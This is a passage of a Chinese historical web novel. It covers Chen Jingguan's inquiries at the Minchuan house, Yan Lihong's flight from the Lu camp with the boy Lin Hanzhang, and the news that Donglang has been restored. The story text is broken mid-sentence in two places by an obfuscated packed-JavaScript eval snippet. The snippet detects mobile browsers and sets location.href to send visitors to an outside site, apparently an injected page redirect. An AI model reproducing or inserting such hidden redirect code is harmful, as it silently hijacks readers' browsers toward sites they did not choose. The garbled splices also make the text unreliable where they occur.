霜栽的嘴还是一如往常的毒,她瞧着陈京观低下的头继续说:“不过我不指望你能成功,我有我自己的办法。” “什么办法,靠画舫?” 霜栽挑了挑眉没正面回应陈京观,“怎么,看不起我用这样的手段?” “没有。” 陈京观回答地十分决绝,霜栽反倒愣了一下,可她很快调整了姿态,继续说道:“无论什么办法,行之有效就是好办法。” 陈京观点头应了声是,不知为何,他在霜栽面前总是很难开口。 但是他想到了平海,他也是因此而死的。 “我有个问题想问你。” 陈京观说话是抬头望着她,而霜栽示意他继续。 “你,确信遥鹤死了吗?” 霜栽的头猛地抬起头,她有些难以置信的看着陈京观,强忍地怒气说:“怎么,你是完全不信我?那你来找我做什么?” “不是,只是我收到过一封奇怪的信。不,准确来说是三封。” 陈京观把自己在遥州的遭遇和霜栽说了一遍,对面的人突然没了声响,她沉吟片刻,有些迟疑地问:“所以,那小孩用我的簪子杀了人?” “对,那人你见过,平海,那个比我还要高一些壮一些的年轻人。” 霜栽下意识握紧拳头,她也突然明白为何席英再见她时神情是那般颜色。 “那后来你查清楚了?是何人所为?” 陈京观摇了摇头,脸上有些落寞。 “能死的都死,很干净的现场,我后来去问过那些渔民,他们说那女孩不是夫妻俩的孩子,是那日突然出现的,好意帮夫妻两个收账。我该怀疑一下的。” 陈京观的声音渐渐被苦涩占满,而霜栽却突然沉默,她抿着嘴好像在想什么。 “我只知道他被丢在江边的时候没了气息,后来,我也不知道了。” 陈京观的话让霜栽陷入对记忆的怀疑,可是她依旧寻不到孟遥鹤还活着蛛丝马迹。 如果他还活着,为何不来找自己。 霜栽的名头很响,很难有人完全不知道她。 这也是她选择与青衣走不一样的路的原因,她也希冀哥哥还活着。 “我明白了,谢谢。” 陈京观起身,随后又站住,“我如今在崇州任职,你有事情大可以来寻我。” “凭你一个县令?” 霜栽开口又回到了以前的模样,不过陈京观笑着应了她的嘲讽,转身却又说。 “凭我长你几岁,也算你的哥哥。” 69.波谲云诡(四) 陈京观原想着借助画舫来找霜栽聊一聊孟遥鹤,可这突然的契机直接解决了他的疑惑。 霜栽听了他的话后没有反驳,他便笑着与她做别。 对于老鸨的话,他信七分留三分,那三分是他觉得霜栽与青衣也没有老鸨说实话。 不过日子还长,他瞧着如今崇宁的意思是没打算让他再入京了,他也随之改变了自己的策略。 他决定从外部慢慢瓦解崇宁的力量。 与其和一个比自己强的人正面冲突,倒不如在细枝末节处砍断她的羽翼。 况且离开了阙州,他感觉自己呼吸的空气都更干净了。 陈京观由后院走入前厅,在正堂与老鸨打了声招呼,出门的时候却被一股力量拽住了衣袖。 “我刚才,好像又看到她了。” 席英的表情很严肃,她手上的力度慢慢放大,陈京观本还有些晃神,突然意识到席英嘴里这个“她”的所指。 “你是说刺杀平海的人?” 席英点了点头,下颌绷得很紧,“就在那群小姑娘里面,但是我追她的时候让她甩开了,她对这院子很熟悉,应该就是从小长在这里的。” 陈京观没有应答,而是转头又看了看泯川楼的牌匾,那老鸨看见他还没走,便朝他笑了笑。 “这里果然没有那么干净。” 席英已经恢复了自己平日的装束,所以那老鸨并没有认出她,她此时的视线绕过陈京观重新审视这眼前的景色。 她又一次被骗了。 “走吧,回去让平芜查一查这地方的真面目。” 陈京观拍了拍席英紧张的脊背,从她手里拉过缰绳,与她一起牵着马走在街上。 “刚才你不在的时候我碰到霜栽了,是她领着那小姑娘回来的,可惜我没注意那姑娘长什么样。不过霜栽笃定孟遥鹤死在她面前,至少她走的时候孟遥鹤一个人躺在江边。” 席英点了点头,她此时的思绪又飞到了那个黄昏。 “我给她说了平海的死,从我的观察来看,她对此事并不知情。” 席英依旧没说话,但是脸上的表情松懈了一些。 “你没信错人,至少她们在向你释放善意的时候是真心的。” 陈京观一眼看穿了席英的心事,而席英应了声好,继续沉默地往前走,片刻后她突然止住步子。 “有没有一种可能,霜栽知道一些我们不知道的事情,但同时她也被别人隐瞒了一些事情?” 陈京观也愣了神,他如今对霜栽的判断的确有先入为主的嫌疑,他从心底里相信眼前的人还是孟郁妍,可她真的还是吗? 如果她不是的话,她的话还能信吗? 陈京观被自己的想法问住了,他回忆着刚才与霜栽交流时她的神情。 如果她是骗自己的,那她的确是世界上最高明的骗子。 她连自己也骗过了。 “我们先回去查清楚泯川楼真正的东家吧,我觉得那老鸨不是真正的话事人。” 陈京观说着又开始向前走,而席英认同了他的想法。 一个能在崇州这么多红楼里突出重围的存在,它的东家不该这么简单,那老鸨是有心机见识的,可远够不上经营泯川楼所需要的。 她背后的人,应该知道霜栽更多秘密。 陈京观回去后将自己的想法告诉了平芜,平芜听到哥哥的名字时目光突然聚焦,他立刻应下了陈京观的差事,即刻动身要亲自去调查。 “你等等。” 陈京观叫住了他,平芜面无表情地望着陈京观。 “切记,既然我们能有所察觉,那对方也很有可能反过来知道我们的动作,做事的时候小心一点。” 平芜稍稍点头,可陈京观还是有些不放心,便给他派了些人手。 “这事只能他自己去,他会不放心任何人。” 席英在一旁宽慰道,而陈京观自然明白这道理,可是他不想再失去一个兄弟了。 在不知不觉间,他嗅到了阴谋的味道,他在槐州和西芥感受到的视线又回来了。 他之前以为那是崇宁的形象在他心理作祟,可现在他觉得这视线粘稠、腥臭,像是沾上就甩不掉的恶鬼。 崇宁不屑于这样的手段。 他的敌人从来不止一个。 这样的想法同样生根于陆栖野的脑海。 他将林家人送到重山前的大本营,然后只身前往腹地寻找陆栖川。 重山这地方他小时候跟着父亲来过两次,之前每逢冬训,必定是大战将至。 陈京观那日在赋阳宫外说的话他始终记着,或者说陈京观的话恰巧与他的心事不谋而合,他期盼着军功,但骨子里害怕战乱。 自从他意识到父亲如今的位置是踩着无数人的骸骨爬上去的,他就开始与自己抗争。 可陆家有使命,他血脉里的东西不会骗他。 眼瞅着前面依稀出现军帐,陆栖野不禁加快了步子,不过他到军营时没有看到陆栖川,反而是瞧见晏离鸿窝在用草垛堆起来的靠椅上。 他从进了军营后就更不喜欢说话,每日晨起跟着陆栖川去巡视,不知道是不是陆栖野的错觉,晏离鸿好像看起来更瘦弱了。 “哥呢?” 陆栖野将拉起来的帘子仔细塞好,走到帐中的火炉旁烤手,晏离鸿手里捧着一本书不经意抬头看他,应了一句:“昨天是大皇子巡边,他去换班了。” 陆栖野“嗯”了一声没再说话,起身走到了晏离鸿身边坐下。 那草垛本就是虚虚堆起来的,也就能将晏离鸿的小身板支撑住,如今陆栖野一上去,他俩人都明显感觉到背后的依靠在塌陷。 “快回去了吧。” 晏离鸿没有在意靠背的异常,他换了个姿势继续看他的书,陆栖野却有些尴尬地开口。 他虽然和晏离鸿谈不上亲密,可从小长大的情份,再怎么看也是对欢喜冤家。 这小半年将他们之间的距离隔远了,陆栖野的性子不像晏离鸿,他耐不住,便想着主动破冰。 “再有一个月,重山大雪封山后我们去沧州休整一段时间,明年开春就回。” 晏离鸿即使再不喜欢说话,可当了参谋后也要被迫社交,陆栖野这时候再与他交流,他也不像是蹦豆子一般断断续续。 不过他能感觉到此时是陆栖野在刻意找话题,晏离鸿轻笑了一声把手里的书放到旁边,双手抱在胸前取暖。 “陆伯父派你来,不仅仅是来送人的吧。” 陆栖野虽然不喜欢晏离鸿,但是却对他绝对信任,他点头应道:“他想让我转移马场的兵力,估摸着他是感觉到了什么。” 晏离鸿闻言神色如常,他像是早就猜到了一般回道:“他打算自己留在朝廷制衡孔肃?” 晏离鸿的话戳到了陆栖野的担心处,他沉吟片刻反问晏离鸿。 “他心里,一定有主意了吧。” 晏离鸿没答话,陆栖野转头望见他盯着火炉发呆,便顺着他的动作也盯着前方。 “你怕吗?” 晏离鸿冷不丁开口,陆栖野点头毫不掩饰自己的情绪,“怕,怕得要死。” 晏离鸿笑了一声,“你不信他?” 陆栖野摇头,但是很快又止住了动作,“我怕他们不信他。” 这回轮到晏离鸿沉默了,陆栖野能感受到他的肩膀抖动了一下,但那动作细微的让他几乎以为是自己的错觉。 “别人的想法我们管不了,而你能做的,就是始终相信他。” 陆栖野应了一声,他身边的晏离鸿便放下手准备撑着地起身。 他到了冬日关节处总会发酸,以往在澄州的时候陆晁都会给他寻大夫来针灸,总还是能得些用处。 如今在这冰天雪地的重山,他不知道有多少个夜晚都在疼痛中惊出一身冷汗。 陆栖野知道他的情况,便立刻起身去扶他,晏离鸿没推脱,攀着他的手站起身。 “林伯父,也该来沧州了吧。” 陆栖野点头,“父亲来信说就这几日。他不能随便进重山,我们冬训后出去找他汇合。” 晏离鸿没再说话,他弯腰将地上的书捡起来放到了桌子上,陆栖野瞧见那桌边层层叠叠全是北梁军报,上面无一不有晏离鸿的圈点。 “哥哥很信任你。” 北梁的军报以往都是直接交给大将军,除却他本人的手谕,任何人不能翻阅。 可是陆栖川给了晏离鸿全部的阅览权,并且准许他用自己的军印回复。 晏离鸿嘴上说着是,可走过去的时候却似不经意般将翻开的情报扣在了桌子上,陆栖野察觉到了他的动作。 “大将军回来了!” 帐外的兵士喊着,原本寂静的营帐慢慢有了生机,陆栖野转头看了一眼晏离鸿。 “他不是去换班了吗?” 晏离鸿也面露困惑,片刻后他二人刚出帐子,就看到陆栖川正在外面整理着装束。 重山很是辽阔,山间的气候变化多端,有时东边艳阳高照,西边却大雪飘零。 此时陆栖川拍打着已经被雨雪浸湿的外衣,他抬头看了陆栖野一眼,开口问候了一句:“来了?何时来的?” 陆栖野接过迷津手里的披风,等着陆栖川将身上的雪水擦拭干净就上前替他披上。 “刚到,和二哥聊了会。” 晏离鸿听到这句“二哥”明显愣了神,但很快嘴角露出一抹不易察觉的笑,他掩盖在大氅下的手不经意拨弄着陆栖野送给他的香囊。 虽说那里面的花已经败了,可是他又添了些中药,平日里睡觉时总把它挂在床头安神。 而陆栖川也察觉到了陆栖野语气中的亲近,他没说话,上前一边搂着一个兄弟进了帐子。 “元焕知道你来,说他再守一天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆栖川没说话,他转身回到了刚才晏离鸿反扣情报的桌案旁边,低头瞧着桌子上还未完全干涸的笔墨。 “他骨子里不喜欢这些,他只想做个泡在书袋子里的闲散人。自从他接任参谋,我能很明显感觉到他在努力扮演好这个角色,但是他很痛苦。” 陆栖川说着将那张反扣着的情报翻了过来,眼睛从上到下审视着晏离鸿写下的每一个字。 “可来了重山之后,他身上的割裂感不见了,他变成好像天生就该做这个的样子。或许旁人会觉得他成长了,可你应该明白,他比我们更固执,如果没有诱因,他不会轻易接受这些。” 陆栖川的话让陆栖野回想着刚才晏离鸿的反应,在没有涉及军报之前,晏离鸿是他印象中的哥哥,可是当他瞥见桌上的军报时,晏离鸿在提防他。 当时的陆栖野只觉得他谨慎,并没有多想。 到了他们的位置,信任的给予和获得,往往不单依靠人情,更多依赖于判断,一种有关得失利益的判断。 可是现在他知道,这一切都是因为晏离鸿成了他扮演的人,他成了真正的谋士晏离鸿,心里第一位的只有算计。 虽说这么多年陆栖野总是调侃他活得像个死人,毫无生命力,可是晏离鸿有自己喜欢的东西,有自己坚持的志向,但是此刻,他身上只有昌安军令。 “来重山之后,发生过什么?” 陆栖野捕捉了陆栖川话里的重点,而陆栖川自然知道他能明白。不过他问出来的时候,陆栖川沉默了一会。 “他在给某个人写信。” 陆栖川的话说得很委婉,但他的声音如掷入冬湖的石块,可它引起的涟漪却让陆栖野想到了母亲和林朝槿说过的话。 能同时接触到陆林两家,能知道苏扬内幕,甚至有机会获得他的书信,以及借着官驿送信,这些条件统合起来,晏离鸿在一切条件的涵盖范围之内。 可是动机呢? “我不知道他与整件事有多少联系,但要说毫无联系,我不信。” 陆栖川语气冰冷,他的目光抬起的瞬间,陆栖野看到了他第一次手染鲜血后的复杂情绪。 “你与父亲说过了?” 陆栖川摇头,但他很快意识到陆栖野的意思,“你是说父亲也有所怀疑?” 陆栖野点头,但已经失去了再开口的力气。 他最信任的两个人同时挥刀,向着他们共同的家人。 他该信吗?或者说该信谁? “在没有确凿证据之前什么也不要问,什么也不要说,离鸿很敏感,无论作为兄弟还是对手。” 陆栖川的话无疑又给陆栖野心上扎了一刀。 所以,已经到了是对手的地步吗? 70.波谲云诡(五) 晏离鸿跑了。 他在临走前还去重山大本营接走了林含章。 所有人都没有起疑,林含晚在最后的时刻依旧在细微处寻找他喜欢自己的细节。 但是他跑了,消失在了所有人的视线里。 那一日檞枳问他要了最后一个月的训练安排,他把很早就准备好的军令递给了他。 檞枳其实察觉出他有异样,但他以为是陆栖野的突然出现让晏离鸿有些不适应。 作为从小跟在陆栖川身后的亲卫,檞枳对他们兄弟三人的关系自认为看得很清楚。 随后晏离鸿笑着招呼他一起去厨房,借由说留陆家兄弟说些体己话,檞枳没多想,和他一起去地窖里拿了平日不舍得吃的储备粮,想着给陆栖野做一碗面接风。 那一碗面甚至是晏离鸿亲手做的,从和面到擀面,再到最后调味,他把那碗面做完后就离开了厨房。 檞枳以为他先回帐子里去了,毕竟天寒地冻他不能在外面逗留很久。 可是他端着那碗面回去的时候,晏离鸿不在帐子里,陆栖川问他晏离鸿呢,他才将刚才忽略的一切细节联想起来。 晏离鸿跑了,他果真如陆栖川所说,极度敏感。 陆栖川以为自己掩饰得很好,可是自从他发现晏离鸿借着官驿往外送信的时候,他就露出了破绽。 或许别人不会注意到,但是晏离鸿寄人篱下一辈子,他最擅长的就是看人眼色。 陆家对他很好,但那不是他的家,他将自己的位置摆得很正。 陆晁会为了让陆栖野进宫从小就给他铺路,但是他没有父亲了,陆晁能帮他的够多了,让他做昌安军的谋士,已经是对他最好的安排了。 但是他不甘心。 他小时候觉得读一辈子书没什么不好的,在字里行间和先人对话,与他们在无形的思潮中碰撞,他以为自己会成为像父亲一样的大学士。 他以为他甘心与书卷相伴一生。 但是那本《游园记》,是他认清自己的契机。 或许今之时事不容笔墨杀伐绝,可倘若他往上爬呢,一直爬到万人之上,他的话总会有人听的,他觉得笔墨间亦可见血色。 他知道自己与陆家兄弟是不一样的,他们披甲执刃就能问鼎天下,而他在那场冬雪里躺了太久,雪水混合着血水流入江水,他能捡回一条命就是老天开恩了。 那他就用自己的办法活下去,他总能活下去的。 其实早在很久之前就有人找上了他,但是那时候的他还沉溺在新生里,他贪恋与陆家人相处的时光,他是真的喜欢陆家的所有人。 但是陈京观出现了,他把自己的抱负和野心告诉了全世界,他要复仇,他要让那些人偿命。 晏离鸿那一刻是佩服他的,他真的好勇敢。 他虽然没有被陆晁这样的人收留,可是宁渡也给了他一个安稳的家,但是他没有忘却曾经,没有忘却心里的痛。 晏离鸿也不该忘。 于是他给那个人回了信,他至今都不知道对方是谁,但信上那个人说,只要他跟从着自己的指示一步步走下去,他就获得了自己想要的。 他起初是不信的,但南魏的朝堂果真天翻地覆了。 可崇宁还没有死,而陈京观被赶出了阙州,那个人的计划停滞了,晏离鸿也被派到了重山。 事到如今,刚刚被搅浑的死水好像又沉寂下去了,他待在重山的每一日都像是在重新经历那天被丢在湖边的情形。 他真的很讨厌雪,很讨厌寒冷的冬日。 他应下了那个匿名者的邀请,开始迈步走向看不到头的黑暗。 这一路上他对不起很多人,那些信任他的人无疑都被他的行为中伤,可直到离开的最后一刻,他还是忍不住回头看了一眼陆家兄弟所在的军帐。 他们会不会没有发现?如果他此时回去,他还是他们的兄弟吧。 “不是了,你早就不是了。” 晏离鸿苦笑一声打断了自己的幻想,陆栖川察觉到了他在向外送信,尤其是林均许被冤下狱之后,陆栖川变得草木皆兵。 刚才他和陆栖野一起站在陆栖川面前的时候,陆栖川自始至终没有看过自己一眼。 他对自己很失望。 晏离鸿那一刻身上只觉得阵阵恶寒,他只能走了,他在陆家享受的东西够多了,他再待下去只会让最后收场的局面更加难堪。 对不起,甚至没有勇气好好告个别。 但是他不会把刀刺向陆家,永远不会。 晏离鸿策马离开,他去重山的前营找到了刚落脚的林家人,他像往常一样同他们说笑,而林含晚看他的眼神,他这辈子都忘不掉。 她也发现了吧,她和他真的很像,如果晏离鸿没有做这些事情,如果他没有想过报仇,如果他真的生在陆家,不久的将来他也会有一场如陆林大婚一样隆重的婚礼吧。 可是晏离鸿利用了林含晚,他先是让林均许准许林含晚进书房,后诱导她说出苏扬的真相,最后再拿了她的钥匙打开了林均许书房的抽屉,拿到了那些信。 他最开始也没想过诬陷林均许,甚至此时此刻他也没想过,但是这是他的投诚信,那个人说只有让这些信出现在赋阳宫,他就会帮助晏离鸿做他想要做的事。 他不知道那个人的目的是什么,但是他见识过他的威力,而晏离鸿还能为林均许做的,或者说赎罪的,是事先预测了此事对林均许的所有影响。 这些莫须有的罪名其实无足轻重,它们唯一的作用是让元衡寻到一个借口,一个可以打压陆林两家的借口。 至于林均许最后会受到什么样的处罚,这要看元衡的主意。 如果他重罚了林均许,晏离鸿会托那个人保下林家,这是晏离鸿的底线。而且真到那时,他愧疚会小一点,因为此事也会让林均许认清他对于元衡的意义。 如果元衡如此时一般重拿轻放,那晏离鸿其实替林均许感到欣慰,至少在元衡眼中他不是一个用完就扔的棋子,他至少在此刻还在保全林均许。 无论最后的结局是什么,他已经让那个人看到了他的价值,他向晏离鸿发了入场券,而他能够借助这背后的大手摧毁摇摇欲坠的南魏。 他比陈京观的愿望更宏大,他要让这吃人的机器自食其果。 可是到最后,他还是有私心的,他带走了林含章,那是他的保命牌。 他不敢赌陈京观会不会有所行动,也不敢赌陆家兄弟会不会杀死自己,在他看来背信弃义的人就该死,但是他想活。 林含章是所有人都在乎的,他不值钱,但是林家小少爷的命值钱。 他托说带着林含章去重山腹地实地勘查,林含章很兴奋地应下了,而梅椿和林朝槿虽然有些担心,但最终还是拗不过林含章的性子。 她们看着晏离鸿把林含章护在怀里,朝着重山腹地去里,可是她们看不到的时候,晏离鸿调转了马头,朝着济州的方向去了。 他怀里的林含章后背紧贴着师父的胸口,他能感受到晏离鸿孱弱的呼吸起伏,但是他很安心,他除却是自己的师父,他还是陆家的哥哥,于是他迷迷瞪瞪地睡着了。 等重山的所有人发现晏离鸿劫走了林含章的时候,林均许也到了沧州。 陆栖野跪在他面前说自己没有保护好林含章,可林均许却沉默了很久,他望着窗外连天的飞雪,久久不能回神。 门外的梅椿害怕自己的哭泣声打扰到屋内的二人,便只好由林朝槿抱着,努力抑制住自己的声音,她身边站着的林含晚早就丢了魂魄。 她不怪晏离鸿不喜欢她,她恨他利用自己伤害了她的家人。 少女怀春的萌芽终究被这场冬雪闷死在了厚厚的土里,甚至生了冻疮,她从此也同他一样害怕冬天。 “我们去哪里能找到他?” 林含晚的眼睛还肿着,可声音里却没有一丝迟疑,她望着站在自己面前的姐夫。 陆栖川有些于心不忍,可林朝槿握着他的手,那是最后的温暖。 “巡岗的哨兵最后一次见他是在陆家马场附近,大概率他已经离开北梁了,或者说,去了新北梁。” 新北梁,北梁内部为了区分东亭旧地的叫法。 林含晚抿着嘴点头,她的脖颈细长,如今长发顺着肩颈线扎进她的领口,那细白的脖子被冬日的风雪染上了粉红,她手里握着父亲给她防身的匕首,好似下一秒就要冲出家门。 吱呀一声,正堂的大门被推开,陆栖野跟在林均许后面走了出来,林均许面色如常,而院子里的人都等着他的号令。 “不用急着找他,他要想跑,凭我们根本找不到他。” 林均许的话给所有人浇了一盆冷水,不过他也只是挑明了众人心中不肯承认的事实。 就凭晏离鸿的能力,他真的称得上一句潜蛟。 “他不会伤害含章,他想要的不过是我们放他走。” 林均许又继续说,而他的话惹得梅椿哭得更凶。 林含章是她难产生下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798877|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,她那时候真的以为自己要和姐姐一样,还来不及看一眼自己的孩子就要走了。 林均许没有斥责她,反而示意林朝槿可以松手了,在梅椿失去依靠的瞬间,林均许的肩膀撑住了她。 “他会没事的,我相信我们的孩子。” 梅椿小幅度点头,等情绪慢慢缓和了,便试着直起身。 “那我们要去哪里找含章?我们不能就这么等着。” 她的问题刚出口,林含晚的眼睛就定在了父亲身上,林均许招手让她过来,然后用力扳开她的手取走了她腰间的匕首。 “你是怪他,还是怪你自己?” 林含晚绷紧的弦断了,当手里抓空的时候她那双眼睛的阀门便被打开,她低着头抽泣,脸上全是不甘心。 “为什么都是陆家的儿子,都是林家的女儿,我就是这样的下场?” 林含晚的声音如冬日无声的雪花,落在每个人心上化成了水,林朝槿想要出口安慰她,可林均许拦住她。 “你们都是我的女儿,没有什么好比的,你姐姐很优秀,你也是。你很喜欢朝槿,但我也知道这其中有你不服输的原因,可是姐姐不是你的竞争对手。林含晚,向姐姐道歉。” 雪地里站着的人被戳中了心事,她低着的头压得很低,她挪动步子走到林朝槿面前,小声说了一句“对不起”。 “我不怪你,你也不许怪你自己。我林家的女儿喜欢的时候就坦坦荡荡的喜欢,就算喜欢错了人那又如何,爹能替你们兜着。” 林均许的声音从背后撑住了林含晚,她肩包颤动的幅度更加明显,而林均许走过去把她搂到怀里。 “他也没错,我也不怪他。” 这句话声音很小,小的只有他们父女二人才能听到,林含晚的身子一怔,当下的她没有明白父亲的话,但是父亲身上散发出的热气在暖着她的心。 “既然离开了澄州,那我们就安心在沧州过我们的日子。北疆的雪大,我派了人给每个屋子都加了地炕。只要冬天熬过去,一切都会好的。” 只要冬天熬过去,一切都会好的。 林家的三个女子轻声应道,林朝槿带着妹妹和母亲回到了屋里,临走时她看了陆栖川一眼,陆栖川明白她的意思。 “梅姨说的对,我们不能这么等着。” 陆栖野突然出声,他刚才被林均许扶起来的时候感受到了那双手的苍老。 他其实一直能感觉到父辈们在衰弱,可是他们依旧为子孙撑着一片天,那片荫蔽没有消散的时候,陆栖野没有切实体会到他们的老去。 但是那天在狱中看到林均许的背影,今日又看到他这双手,他们真的老了。 “查清楚他究竟在和什么人通信,同时按照你父亲的部署转移马场的屯兵。等他认为自己安全的时候会让含章现身,含章就是他用来转移我们注意力的方式。” 即使到了此时,林均许依旧镇定自若,陆栖野回想他这么多年见到的林均许,他从未在自己面前失态过。 “我们要面对的,不是眼前的这些人,我能感觉到有人在搅局。” 林均许继续说,而他的话惹得陆栖川不禁提高警惕。 “父亲,会有危险吗?” 林均许没说话,他们现在远离澄州,很难第一时间获知朝堂中的变动,而陆晁告假推脱也不是长久之计。 孔肃的初步目的达到了,他一定会乘胜追击。 “让元焕稳住你姑母,然后想办法让你父亲也寻个由头躲起来。孔肃想要的我们都给他,至于他能蹦跶几时,这就要问我们的皇上想做什么了。” 林均许借着元衡对自己的旨意,基本看清他的意思。 林家和陆家确实风头太盛,树大招风,元衡在敲打他们,同时也在给他们寻退路。 到了元衡现在的年岁,总有些力不从心的事情,而这种时候总会给投机取巧的人可趁之机,孔肃就是其中代表。 但是他很好用,他的根基不深,同时没有实权,他只是元衡的铁齿铜牙,替他咬碎一切闲言碎语。 相比陆林两家,此时的元衡更需要一根新长出来枝桠,生命力强,且容易把控。 其实林均许想清楚这一切的时候,他对自己的悲哀就转移到了孔肃身上,但是他们终究站在对立面上,一定会是你死我活的局面。 同时他也相信孔肃能走到今天的位置,他不可能甘愿只做元衡的一把刀。 那就再等等,让水底下的恶龙搅起更大的漩涡。 71.祝鮀之佞(一) 万阳二十年隆冬,泯川江畔,崇州以东,东亭复国,定都朔州。 这一切本有迹可循,三国分界动荡不是一天两天,可南北两国朝堂争斗打得热火朝天,没有一个想要出力平匪。 久而久之,东亭新皇姚康的队伍日渐壮大,当朔州府衙被攻下时,天下人才惊觉东亭尚有余温。 姚康,旧东亭末代皇帝姚廣之胞弟,在东亭被灭后人间蒸发,随着俘虏营被烧灭殆尽,这世上更是没有人还记得这样一个荒谬顽皮的小王爷。 实际上,姚康虽然心性顽劣,但毕竟是长在姚家的儿子,他凭着母族的实力让自己残存在遥州的旧部救了自己,这许多年一直隐姓埋名苟活在遥州,直至今日,一鸣惊人。 可陈京观不信这一切只凭他一人就可以完成。东亭余孽四散,能活下来的多是有些手段的,没有人甘愿轻易被姚康当作垫脚石。姚康的背后,另有他人。 陈京观收到消息时还在为陆家的事情奔波,陆栖野去往重山前给他递了信,北梁朝廷动荡,接下来的局面将一发不可收拾。他如今是闲散小官,整个崇州在温叔让的管辖下民生安乐,他乐得自在,就开始着手调查晏离鸿。 想来也是嘲讽,陈京观明明很早之前就察觉出晏离鸿不对劲,却一直没寻到机会能和他一叙。时至今日,晏离鸿走到了陈京观的对立面,陈京观才惊觉他曾经向自己示好,其实是在选择阵营。 当时的陈京观沉默了,他不是不信晏离鸿,而是看不懂他的动机。陈京观只在陆家住了几日便生了退却之心,晏离鸿又为何要放弃那样的日子? 在安乐中生出新的血肉,他却又要用这身血肉去拼个新的结局。 不过即便晏离鸿就这样一言不发地离开,甚至绑走了林含章做人质,却没有一个人怪过他。 陈京观收到信时,陆栖野只说若是寻到了,让他回家。 晏离鸿离开后不久,东亭复国的消息就跨过了江水,与朔州相邻的崇州首当其冲。战火虽然没有烧过来,可是战争的恐惧却蔓延到了整个南魏。 十年时间,东亭死灰复燃,这短暂的和平终究只是逗点。 …… “少将军,崇州守军将领贺福愿求见。“ “让他进来。” 陈京观住进了温叔让为自己置办的宅子,小巧精致,远离闹市,平日里除却一些街坊邻居有事相求,鲜少有人登门。 现一大清早崇州守军到访,必定没有好事。 “参见少将军。” 来人跪着朝陈京观行了礼。要说品级,贺福愿在陈京观之上,可是他一口一个少将军,并没有将陈京观限于这县衙的天地。 “贺将军有事?” 陈京观没有道破贺福愿的来意,他一手端着白粥,一手迎贺福愿上坐。 “想必少将军听闻东亭复国的消息了,不知您有何打算?” “打算?”贺福愿说的直白,陈京观便也不绕弯子,他“嗤”得笑了一声,“我如今只是丰水县令,若是贺将军有用得着我的,开口便是。” 贺福愿忙摆手,“少将军过谦,这虚名哪里配得上少将军的神武。我今日来是想问问您,这仗,我们打吗?” 陈京观手里的筷子还搅动着碗里的咸菜,他瞧着粥面上浮起的油花,突然转头看着贺福愿。 “你怕吗?” 贺福愿摇头,“不怕。” 陈京观笑着点了点头,却依旧没有回答贺福愿的问题。 “我一介武夫,还请少将军明示。” 陈京观将碗里最后一口吃完,从怀里掏出帕子擦了擦嘴,“那你先回答我一个问题,你当日为何要来崇州?我若是没记错,贺将军与崔尚书该是同生,是一起被选进禁军的。” 贺福愿沉吟片刻,“是,少将军没记错。当日我自请往崇州守卫,等的就是这一天。” 陈京观抬眸看他,“所以你十年前是主战派?” 贺福愿点头,“当日北梁攻打东亭,我请命带兵前往驰援,时任丞相陈频以死谏阻拦出兵,那一仗不了了之。可我们都知道那一仗避不开,我们不打,北梁也不会放过我们。” “那贺将军怪过丞相吗?” 贺福愿突然沉默,陈京观上下打量了他一番。 从他进屋起,陈京观就一直在观察贺福愿,他与崔擎舟不一样,无论是举手投足还是行止气度,都是很成熟的将军模样。南魏近些年没有打过仗,贺福愿唯一的模板,只有陈频。 “起初怪过,甚至是恨,”贺福愿开口,“我看不懂陈频的行为,我只觉得他贪生怕死。可后来满朝文武都不敢去西芥,他却请命去了。其实他那道折子再迟两天,我请命的奏疏就递上去了。我能死,可他不该死。” 贺福愿叹了一口气继续道:“活到现在,我也明白了他当日的选择。凭那时的南魏,想要和北梁打简直是以卵击石,我是少年意气,他却思虑更深。他用命替南魏又延了十年寿命,他在赌,这十年会有真正能带南魏杀出重围的人出现。” “那你觉得你是吗?” 陈京观没有告诉贺福愿陈频当日其实是替苏晋去的西芥,他的天下大义里藏着私心。或许陈频的选择最初是被迫的,可陈京观觉得他最后心甘情愿赴死。 “少将军说笑了,”贺福愿起身朝陈京观行礼,“一支能踏破天下的军队,不是看他的刀有多锋利,而是看他的将领心中究竟是天下,还是功绩。我今日登门,是因为信您。” 陈京观没应声,他侧过头看着窗外的飞雪,崇州的雪许是因为靠近水源,来得快消得也快,一夜之间就无影无踪。可是雪落下来过,看见过它的人忘不掉。 “陈某先在此谢过贺将军的信任,可这一仗打或不打,其中牵涉甚广。当日丞相以死相抗,是觉得十年后的我们能胜,那这一仗我们若要打,便不能败。” 贺福愿愣了一下,欣然点头应道:“止戈明白。” 说罢,贺福愿转身要走,陈京观却在背后叫住了他。 “贺将军字止戈?是那两个字吗?” 贺福愿没有回头,陈京观瞧见他的发冠上下摆动。 “福愿,便是止戈。” …… 同日,北梁赋阳宫。 陆晁前一夜收到探子递来的消息,当晚就被元衡叫进了宫,二人彻夜长谈。天明时分,内侍怕误了上朝的时辰,进来叫时,呈上了朔州的战报。 朔州守军宁死不降,七百人苦守城门三日,最终被姚康的军队全灭。 这封信,是在所有人都死后才被送出来的,落款处更是加上了姚康的私印。 这不是一封简单的军报,更像是姚康的挑衅。 “诸卿都看看吧。” 元衡坐在上位,内侍手捧着那份染了血的军报从朝臣面前缓缓走过,凡是看到的人无一不怒目圆睁。这一笔,算得上北梁建国以来最惨痛的教训。 “各位可有话说?” 元衡没有表露自己的情绪,可站在阶下的陆晁知道他在想什么。 整整一夜,元衡不知折断了多少笔,那些写好的诏书写了又撕,撕了又写,陆晁没有见过那样的元衡。 